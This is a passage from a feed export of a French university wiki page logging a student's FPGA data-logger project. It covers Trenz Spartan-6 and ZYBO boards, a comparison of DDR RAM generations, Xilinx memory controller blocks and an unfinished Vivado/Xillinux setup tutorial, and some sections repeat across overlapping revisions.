[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===3)Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design [[Fichier:Tuto1.PNG|100px|thumb|right| g°)]]&amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS [[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. [[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)&amp;lt;br&amp;gt;&lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27244</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27244"/>
				<updated>2016-02-16T15:47:06Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* 1)Etude des plates-formes de programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2)Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
